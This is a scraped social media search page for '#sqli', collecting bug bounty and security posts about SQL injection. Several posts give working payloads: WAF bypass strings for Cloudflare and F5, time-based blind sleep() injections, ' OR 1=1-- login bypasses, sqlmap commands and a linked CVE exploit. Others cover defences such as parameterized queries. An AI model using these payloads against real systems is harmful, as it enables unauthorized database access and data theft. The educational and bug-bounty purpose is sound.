English
English Indonesia Türkçe Deutsch Español Português Pусский Français Italiano Nederlands Polski العربية ไทย Tiếng Việt 繁體中文 简体中文 日本語 한국어

#sqli search results

nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jun 13

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
7
121
716
531
31K
0xElkot's profile picture. Cyber Security Consultant | Security Researcher (Part time)
MahMoud Elkot
 @0xElkot
Apr 16

🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi

0xElkot's tweet image. 🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi
0xElkot's tweet image. 🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi
2
16
137
92
6K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jul 6

Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec

nav1n0x's tweet image. Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec
6
115
626
460
39K
kuldeepdotexe's profile picture. OSINT | Web | Binary | sensei@barracks.army | @SynackRedTeam Envoy && Hero
Kuldeep Pandya
 @kuldeepdotexe
Nov 2, 2024

🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt

kuldeepdotexe's tweet image. 🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt
15
100
623
516
57K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
 @NullSecurityX
Oct 2

Blind SQL injection When an app hides query results, attackers extract data via side-channels: boolean-based (true/false) or time-based (delays). Redacted example: IF((SELECT SUBSTRING(secret,1,1)='a'), SLEEP(5),0) Effective against blind/WAFed targets #BugBounty #Infosec #Sqli

4
29
160
84
5K
viehgroup's profile picture. We're hacking for your better Future
VIEH Group
 @viehgroup
Sep 1

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
3
86
508
367
25K
awais0x1's profile picture. Full Time Bug Bounty Hunter
Awais Nazeer
 @awais0x1
Nov 8

I love this kind of Burp message that sweet SQL error. Tip: Build your own Burp Suite scanner to catch these automatically. credit to @HaroonHameed40 @intigriti @PortSwigger #InfoSec #SQLi

awais0x1's tweet image. I love this kind of Burp message that sweet SQL error. Tip: Build your own Burp Suite scanner to catch these automatically. credit to @HaroonHameed40 @intigriti @PortSwigger #InfoSec #SQLi
awais0x1's tweet image. I love this kind of Burp message that sweet SQL error. Tip: Build your own Burp Suite scanner to catch these automatically. credit to @HaroonHameed40 @intigriti @PortSwigger #InfoSec #SQLi
4
2
135
42
5K
Mr_Dark55's profile picture. Bug Bounty | Pentester | Ethical Hacking | 孤独が私の中に染み込んでほしい。🖤
./Mr-Dark
 @Mr_Dark55
Dec 30

💉 SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of space2comment, between, randomcase tamper scripts. #web #sqli

Mr_Dark55's tweet image. 💉 SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of space2comment, between, randomcase tamper scripts. #web #sqli
10
44
330
191
16K
wgujjer11's profile picture. Cybersecurity Analyst | Ethical Hacker | Secure @nasa | #CyberSecurity #
Muhammad Waseem
 @wgujjer11
Apr 3

Pre-Auth SQL Injection CVE-2025-24799 Severity : Critical Exploit : github.com/MuhammadWaseem… Refrence : github.com/glpi-project/g… #GLPI #SQLi #CVE202524799

wgujjer11's tweet image. Pre-Auth SQL Injection CVE-2025-24799 Severity : Critical Exploit : github.com/MuhammadWaseem… Refrence : github.com/glpi-project/g… #GLPI #SQLi #CVE202524799
5
94
490
279
22K
Raman_Mohurle's profile picture. Microsoft MVR 2024 | MSRC #44 in 2022 Q3 | GPCSSI Intern | RHCSA | N+ | Bug Bounty Hunter | Ethical Hacker 👩‍💻 #GPCSSI21 #BUGBOUNTY
Raman_MG
 @Raman_Mohurle
Sep 7

Found an untouched asset (built in 2018) with an unsubscribe functionality. Turned out it was vulnerable to time-based blind SQLi → from a single entry point I accessed 200+ databases. Patience + curiosity always pay off 💰€€€€ #BugBounty #SQLi #bugbountytips Thread 🧵…

Raman_Mohurle's tweet image. Found an untouched asset (built in 2018) with an unsubscribe functionality. Turned out it was vulnerable to time-based blind SQLi → from a single entry point I accessed 200+ databases. Patience + curiosity always pay off 💰€€€€ #BugBounty #SQLi #bugbountytips Thread 🧵…
5
22
312
152
29K
5hady_'s profile picture. Security Researcher @NuaSecurity | Bug Hunter | Top 100 @intigriti | eWPTX | eMAPT
Shady
 @5hady_
Sep 3

Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard

5hady_'s tweet image. Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard
12
3
209
39
13K
mijanhaque_'s profile picture. Bug Hunter | Web Penetration Tester
Mijanur Rahman
 @mijanhaque_
Aug 17

I've made an Ghauri Command Generator GUI tool. This tool save your time a lot. link h6nt3r.github.io/gcg/ #BugBounty #sqli

mijanhaque_'s tweet image. I've made an Ghauri Command Generator GUI tool. This tool save your time a lot. link h6nt3r.github.io/gcg/ #BugBounty #sqli
2
15
75
48
4K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
May 10

Make sure to test mobile endpoints, not just mobile apps—test m.target.com. Mobile front-ends often run on separate infra, different WAF policies with different code base for huge sites like gaming/chat etc, hiding unique vuln surfaces...#BugBounty #SQLi #SQLMap [1/n]

nav1n0x's tweet image. Make sure to test mobile endpoints, not just mobile apps—test m.target.com. Mobile front-ends often run on separate infra, different WAF policies with different code base for huge sites like gaming/chat etc, hiding unique vuln surfaces...#BugBounty #SQLi #SQLMap [1/n]
6
18
286
119
15K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
 @NullSecurityX
Aug 30

Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity

NullSecurityX's tweet image. Second-Order SQL Injection 1️⃣ Attacker injects payload into a field that is stored in DB (e.g., username). 2️⃣ Later, another query uses this stored value unsafely. 3️⃣ Payload executes → data leak, auth bypass, or privilege escalation. #SQLi #BugBounty #WebSecurity
2
41
262
117
10K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
 @NullSecurityX
Aug 13

Time-Based Blind SQLi: No errors, no data in response—just time as your oracle. Inject SLEEP() or pg_sleep() to measure delays and confirm injection points. Perfect for Burp Intruder with time diff analysis. Slow… but revealing. 💉 #BugBounty #sqli

NullSecurityX's tweet image. Time-Based Blind SQLi: No errors, no data in response—just time as your oracle. Inject SLEEP() or pg_sleep() to measure delays and confirm injection points. Perfect for Burp Intruder with time diff analysis. Slow… but revealing. 💉 #BugBounty #sqli
3
26
149
70
7K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
 @NullSecurityX
Aug 4

SQLite Injection via WebSQL API 1️⃣ Some apps use openDatabase() in JS to store/query user data 2️⃣ If input is inserted directly into SQL: db.transaction(t => { t.executeSql(`SELECT * FROM users WHERE name = '${input}'`); }); 3️⃣ ' OR 1=1-- → dumps users #BugBounty #sqli

NullSecurityX's tweet image. SQLite Injection via WebSQL API 1️⃣ Some apps use openDatabase() in JS to store/query user data 2️⃣ If input is inserted directly into SQL: db.transaction(t => { t.executeSql(`SELECT * FROM users WHERE name = '${input}'`); }); 3️⃣ ' OR 1=1-- → dumps users #BugBounty #sqli
3
32
181
66
6K
MNovofastovsky's profile picture. Protecting websites and e-commerce from malware, zero-day exploits, and real-world threats. CTO @Quttera | Cybersecurity advocate | Managed Website Security
Quttera - Managed eCommerce Security
@MNovofastovsky
15 h

#WooCommerce — #SQLi CVE in Payment Extensions 🚨 Why it matters: SQL injection in WooCommerce payment add-ons can leak customer info, alter orders, and inject malicious scripts 🛡️ Action: Block SQLi attempts and scan your store for injected code quttera.com #CVE…

MNovofastovsky's tweet image. #WooCommerce — #SQLi CVE in Payment Extensions 🚨 Why it matters: SQL injection in WooCommerce payment add-ons can leak customer info, alter orders, and inject malicious scripts 🛡️ Action: Block SQLi attempts and scan your store for injected code quttera.com #CVE…
0
0
0
0
40
Cyber_matri_x's profile picture. ||Aspiring Ethical Hacker || Cybersecurity Enthusiast || Penetration Testing Learner||
Furqan
 @Cyber_matri_x
Nov 28

Just bypassed the admin login in a PortSwigger lab using classic SQLi 😎 Payload: admin' OR '1'='1-- No sanitization = full authentication bypass. Burp Repeater FTW 💥 #CyberSecurity #SQLi #BugBounty #WebSecurity

Cyber_matri_x's tweet image. Just bypassed the admin login in a PortSwigger lab using classic SQLi 😎 Payload: admin' OR '1'='1-- No sanitization = full authentication bypass. Burp Repeater FTW 💥 #CyberSecurity #SQLi #BugBounty #WebSecurity
0
0
1
0
43
MNovofastovsky's profile picture. Protecting websites and e-commerce from malware, zero-day exploits, and real-world threats. CTO @Quttera | Cybersecurity advocate | Managed Website Security
Quttera - Managed eCommerce Security
@MNovofastovsky
Nov 26

#PrestaShop — Payment Form Injection via SQLi 🚨 Why it matters: SQL injection in outdated PrestaShop plugins injects fake payment forms and steals customer info 🛡️ Action: Use Quttera Malware Scanner to detect injected forms early quttera.com/website-malwar… #Malware #SQLi…

MNovofastovsky's tweet image. #PrestaShop — Payment Form Injection via SQLi 🚨 Why it matters: SQL injection in outdated PrestaShop plugins injects fake payment forms and steals customer info 🛡️ Action: Use Quttera Malware Scanner to detect injected forms early quttera.com/website-malwar… #Malware #SQLi…
0
0
0
0
28
MNovofastovsky's profile picture. Protecting websites and e-commerce from malware, zero-day exploits, and real-world threats. CTO @Quttera | Cybersecurity advocate | Managed Website Security
Quttera - Managed eCommerce Security
@MNovofastovsky
Nov 21

#WordPress — SQL Injection → Malware Deployment 🚨 Why it matters: #SQLi injects malware directly into core WP database tables 🛡️ Action: Block attacks with Quttera WAF and protect your perimeter quttera.com/web-applicatio… #CVE #CyberSecurity

MNovofastovsky's tweet image. #WordPress — SQL Injection → Malware Deployment 🚨 Why it matters: #SQLi injects malware directly into core WP database tables 🛡️ Action: Block attacks with Quttera WAF and protect your perimeter quttera.com/web-applicatio… #CVE #CyberSecurity
0
0
0
0
51
i_am_caleboo's profile picture. Cybersecurity Intern | Aspiring Pen Tester & SOC Analyst | CompTIA Security+ Candidate | Ethical Hacking & Threat Intel
caleboo_007
 @i_am_caleboo
Nov 20

The one defense against SQL Injection that still works 99% of the time? Parameterized Queries. They teach the database to treat user input as DATA, not executable CODE. Stop using string concatenation for queries! #SQLi #AppSec #HackingTip #CyberSecurity

i_am_caleboo's tweet image. The one defense against SQL Injection that still works 99% of the time? Parameterized Queries. They teach the database to treat user input as DATA, not executable CODE. Stop using string concatenation for queries! #SQLi #AppSec #HackingTip #CyberSecurity
i_am_caleboo's tweet image. The one defense against SQL Injection that still works 99% of the time? Parameterized Queries. They teach the database to treat user input as DATA, not executable CODE. Stop using string concatenation for queries! #SQLi #AppSec #HackingTip #CyberSecurity
0
0
0
0
34
HackForumsNet's profile picture. HF is the #1 online hacker community.
UID 1
@HackForumsNet
Nov 20

Null Byte SQL injection attempt today for registration from a Russian IP. Thought to share because I found it interesting. HF backend handled it properly. #sqli

HackForumsNet's tweet image. Null Byte SQL injection attempt today for registration from a Russian IP. Thought to share because I found it interesting. HF backend handled it properly. #sqli
0
0
4
2
311
NitinGavhane_'s profile picture. Security Consultant | •Ethical hacker | •Security Researcher | •Angular Frontend Developer | •Google CFP 2022 | •Open Source Comunity Memeber 📟
ɴɪᴛɪɴ ɢᴀᴠʜᴀɴᴇ
 @NitinGavhane_
Nov 20

Basic Detection Start with simple URL testing: sqlmap -u "site.com/page?id=1" For POST requests: sqlmap -u "site.com/login" --data="user=admin&pass=test" #SQLi #PenetrationTesting

1
0
0
0
17
MNovofastovsky's profile picture. Protecting websites and e-commerce from malware, zero-day exploits, and real-world threats. CTO @Quttera | Cybersecurity advocate | Managed Website Security
Quttera - Managed eCommerce Security
@MNovofastovsky
Nov 17

🚨WordPress Alert Why it matters: WordPress plugins targeted by SQL Injection can expose your entire database 🛡️ Action: Scan with WordPress Malware Scanner to detect injected queries early quttera.com/wordpress-malw… #WordPress #SQLi #Quttera #CyberSecurity #InfoSec

MNovofastovsky's tweet image. 🚨WordPress Alert Why it matters: WordPress plugins targeted by SQL Injection can expose your entire database 🛡️ Action: Scan with WordPress Malware Scanner to detect injected queries early quttera.com/wordpress-malw… #WordPress #SQLi #Quttera #CyberSecurity #InfoSec
0
0
0
0
31
Sazouki_'s profile picture. Im not a rapper | OSCP | CRTP
Sazouki 🇹🇳🚬
 @Sazouki_
Nov 15

F5 SQLi WAF BYPASS ‘ or (select ‘sqli’) = ‘sqli // blocked ‘ || not (select ‘sqli’) like ‘s% // bypassed #F5 #sqli #BugBounty

1
9
108
82
7K
MNovofastovsky's profile picture. Protecting websites and e-commerce from malware, zero-day exploits, and real-world threats. CTO @Quttera | Cybersecurity advocate | Managed Website Security
Quttera - Managed eCommerce Security
@MNovofastovsky
Nov 15

SQL Injection (SQLi) ⚠️Why it matters: Hackers inject malicious SQL queries to steal your website’s database data. Action: Use Quttera WAF and regular vulnerability scans to block and detect SQLi attempts. quttera.com #SQLi #WebsiteSecurity #CyberSecurity

MNovofastovsky's tweet image. SQL Injection (SQLi) ⚠️Why it matters: Hackers inject malicious SQL queries to steal your website’s database data. Action: Use Quttera WAF and regular vulnerability scans to block and detect SQLi attempts. quttera.com #SQLi #WebsiteSecurity #CyberSecurity
0
0
0
0
35
bugvsecurity's profile picture. Crowdsourced Cyber Security Platform!
Bugv
 @bugvsecurity
Nov 12

🚨 Spot the Vulnerability #04 This Flask route works until someone inputs ' OR '1'='1. Can you spot the flaw? 🤔 Reply with your answer. #SQLi #AppSec #BugBounty

bugvsecurity's tweet image. 🚨 Spot the Vulnerability #04 This Flask route works until someone inputs ' OR '1'='1. Can you spot the flaw? 🤔 Reply with your answer. #SQLi #AppSec #BugBounty
1
0
2
0
110
dump_tcp's profile picture. 🇺🇸 I just tcpdump packets I own https://t.co/30q4jLqNLU top 10 #news CyberSecurity Specialist
tcp dump
@dump_tcp
Nov 11

#sqli #sql #mysql

0
0
0
0
344
SharatKubasad's profile picture. Engineer
Sharat Kubasad
 @SharatKubasad
Nov 10

🔐 Day 7/45 — SQL Injection Day! Spent today finding & verifying SQLi in TryHackMe labs. Captured vulnerable requests and proof screens. #TryHackMe #SQLi #45DaysChallenge

0
0
5
0
48
MNovofastovsky's profile picture. Protecting websites and e-commerce from malware, zero-day exploits, and real-world threats. CTO @Quttera | Cybersecurity advocate | Managed Website Security
Quttera - Managed eCommerce Security
@MNovofastovsky
Nov 10

🚨 Why it matters: Unfiltered input lets attackers inject SQL or malicious scripts into your site 🛡️ Action: Deploy Website Malware Protection (WAF) to block SQLi and XSS attacks before they hit your CMS. #SQLi #XSS #WAF #WebsiteSecurity #Quttera

MNovofastovsky's tweet image. 🚨 Why it matters: Unfiltered input lets attackers inject SQL or malicious scripts into your site 🛡️ Action: Deploy Website Malware Protection (WAF) to block SQLi and XSS attacks before they hit your CMS. #SQLi #XSS #WAF #WebsiteSecurity #Quttera
0
0
0
0
26
zapstiko's profile picture. 𝐒𝐜𝐡𝐫ö𝐝𝐢𝐧𝐠𝐞𝐫'𝐬 𝐒𝐦𝐢𝐥𝐞𝐲 :): 🕊✪ ❁ 𖤐 🪲✪ 𓃵 Ⓧ👽★ (⚡, 🥷)𝕏
𝐑𝐀𝐢𝐡𝐚𝐧 ✪
 @zapstiko
Jul 26, 2024

Time-Base SQL Injection Payload: (select*from(select(sleep(15)))a) #bugbountytips #BugBounty #sqli

zapstiko's tweet image. Time-Base SQL Injection Payload: (select*from(select(sleep(15)))a) #bugbountytips #BugBounty #sqli
8
59
417
272
33K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
 @NullSecurityX
Jun 20

🧠 WAF Bypass via JSON-Based SQLi 1️⃣ WAF blocks classic payloads in query params 2️⃣ App parses JSON body: {"user":"admin' OR 1=1--"} 3️⃣ WAF doesn’t inspect JSON deeply 4️⃣ Payload reaches backend → SQLi triggers 🎯 JSON input → stealth injection #bugbounty #wafbypass #sqli

NullSecurityX's tweet image. 🧠 WAF Bypass via JSON-Based SQLi 1️⃣ WAF blocks classic payloads in query params 2️⃣ App parses JSON body: {"user":"admin' OR 1=1--"} 3️⃣ WAF doesn’t inspect JSON deeply 4️⃣ Payload reaches backend → SQLi triggers 🎯 JSON input → stealth injection #bugbounty #wafbypass #sqli
1
39
273
142
14K
nav1n0x's profile picture. Github: https://t.co/7MrKOcUFfO | 2x MVR @msftsecurity
N$
@nav1n0x
Jun 13

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
nav1n0x's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
7
121
716
531
31K
0xElkot's profile picture. Cyber Security Consultant | Security Researcher (Part time)
MahMoud Elkot
 @0xElkot
Apr 16

🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi

0xElkot's tweet image. 🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi
0xElkot's tweet image. 🔍 Tip for finding SQLi in WordPress plugins: - Study the code—check $wpdb queries & inputs. - Enumerate endpoints, forms, params w/ WPScan or manually. - Test for SQLi w/ payloads like ' OR 1=1 --. 💡 Might lead to a private CVE! Stay ethical #BugBounty #SQLi
2
16
137
92
6K
NullSecurityX's profile picture. Infosec researcher • Bug bounties & security analysis. Collabs/ads: root@nullsecurityx.codes /
NullSecX
 @NullSecurityX
Jun 21

🧠 SQLi via Nested JSON 1️⃣ Input: { "filters": { "user": "admin'--" } } 2️⃣ App flattens nested JSON to query 3️⃣ WAF misses deeply nested keys 4️⃣ SQLi fires silently 🎯 Obscure path → full DB access #bugbounty #SQLi #wafbypass #json

NullSecurityX's tweet image. 🧠 SQLi via Nested JSON 1️⃣ Input: { "filters": { "user": "admin'--" } } 2️⃣ App flattens nested JSON to query 3️⃣ WAF misses deeply nested keys 4️⃣ SQLi fires silently 🎯 Obscure path → full DB access #bugbounty #SQLi #wafbypass #json
0
33
133
55
10K
dvrahmr's profile picture. Bug Bounty Hunter
Davar
 @dvrahmr
Apr 4, 2023

SQLMap could not detect this injection while I knew the endpoint was vulnerable. I had heard about Ghauri. I decided to give it a shot; It worked like a charm. #BugBounty #bugbountytips #sqli

dvrahmr's tweet image. SQLMap could not detect this injection while I knew the endpoint was vulnerable. I had heard about Ghauri. I decided to give it a shot; It worked like a charm. #BugBounty #bugbountytips #sqli
12
39
355
126
28K
kuldeepdotexe's profile picture. OSINT | Web | Binary | sensei@barracks.army | @SynackRedTeam Envoy && Hero
Kuldeep Pandya
 @kuldeepdotexe
Nov 2, 2024

🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt

kuldeepdotexe's tweet image. 🕷️Exploiting Unconventional SQLis Manually 💉 A thread 🧵 1/n #sqli #synack #srt
15
100
623
516
57K
ReebootToInit5's profile picture. Just another NooB Hacker🫡 Hakuna Matata ☠️ quite unapologetic when it comes to my country and religion
Reeboot_to_init5
 @ReebootToInit5
Mar 23, 2023

Good morning SQL injection ❤️😎 #Sqli

ReebootToInit5's tweet image. Good morning SQL injection ❤️😎 #Sqli
10
10
160
12
11K
wgujjer11's profile picture. Cybersecurity Analyst | Ethical Hacker | Secure @nasa | #CyberSecurity #
Muhammad Waseem
 @wgujjer11
Apr 3

Pre-Auth SQL Injection CVE-2025-24799 Severity : Critical Exploit : github.com/MuhammadWaseem… Refrence : github.com/glpi-project/g… #GLPI #SQLi #CVE202524799

wgujjer11's tweet image. Pre-Auth SQL Injection CVE-2025-24799 Severity : Critical Exploit : github.com/MuhammadWaseem… Refrence : github.com/glpi-project/g… #GLPI #SQLi #CVE202524799
5
94
490
279
22K
Mr_Dark55's profile picture. Bug Bounty | Pentester | Ethical Hacking | 孤独が私の中に染み込んでほしい。🖤
./Mr-Dark
 @Mr_Dark55
Dec 30

💉 SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of space2comment, between, randomcase tamper scripts. #web #sqli

Mr_Dark55's tweet image. 💉 SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of space2comment, between, randomcase tamper scripts. #web #sqli
10
44
330
191
16K
viehgroup's profile picture. We're hacking for your better Future
VIEH Group
 @viehgroup
Sep 1

Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi

viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
viehgroup's tweet image. Cloudflare 403 bypass to time-based blind SQLi: PL: (select(0)from(select(sleep(10)))v) → 403 but PL: (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) → Time-based Blind SQLi #BugBounty #SQLi
3
86
508
367
25K
5hady_'s profile picture. Security Researcher @NuaSecurity | Bug Hunter | Top 100 @intigriti | eWPTX | eMAPT
Shady
 @5hady_
Sep 3

Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard

5hady_'s tweet image. Exceptional SQLi ✔️ Top 100 overall severity high to exceptional @intigriti ✔️ And this is just the warm-up 🔥 #SQLIMaster #BugBounty #SQLi #InfoSec #CyberSecurity #Leaderboard
12
3
209
39
13K
sumit_cfe's profile picture. Content Creator | Pentabug Red Team | Public Speaker | BugBounty Hunter | Security Trainer | Ethical Hacker
Sumit Jain
 @sumit_cfe
Feb 7, 2024

Test Cases for Email Address Functionality Some Email based Payloads for Different Vulnerabilities created by @intigriti #bugbounty #bugbountytips #sqli

sumit_cfe's tweet image. Test Cases for Email Address Functionality Some Email based Payloads for Different Vulnerabilities created by @intigriti #bugbounty #bugbountytips #sqli
3
53
265
137
11K
Raman_Mohurle's profile picture. Microsoft MVR 2024 | MSRC #44 in 2022 Q3 | GPCSSI Intern | RHCSA | N+ | Bug Bounty Hunter | Ethical Hacker 👩‍💻 #GPCSSI21 #BUGBOUNTY
Raman_MG
 @Raman_Mohurle
Sep 7

Found an untouched asset (built in 2018) with an unsubscribe functionality. Turned out it was vulnerable to time-based blind SQLi → from a single entry point I accessed 200+ databases. Patience + curiosity always pay off 💰€€€€ #BugBounty #SQLi #bugbountytips Thread 🧵…

Raman_Mohurle's tweet image. Found an untouched asset (built in 2018) with an unsubscribe functionality. Turned out it was vulnerable to time-based blind SQLi → from a single entry point I accessed 200+ databases. Patience + curiosity always pay off 💰€€€€ #BugBounty #SQLi #bugbountytips Thread 🧵…
5
22
312
152
29K

Something went wrong.


Something went wrong.


United States Trends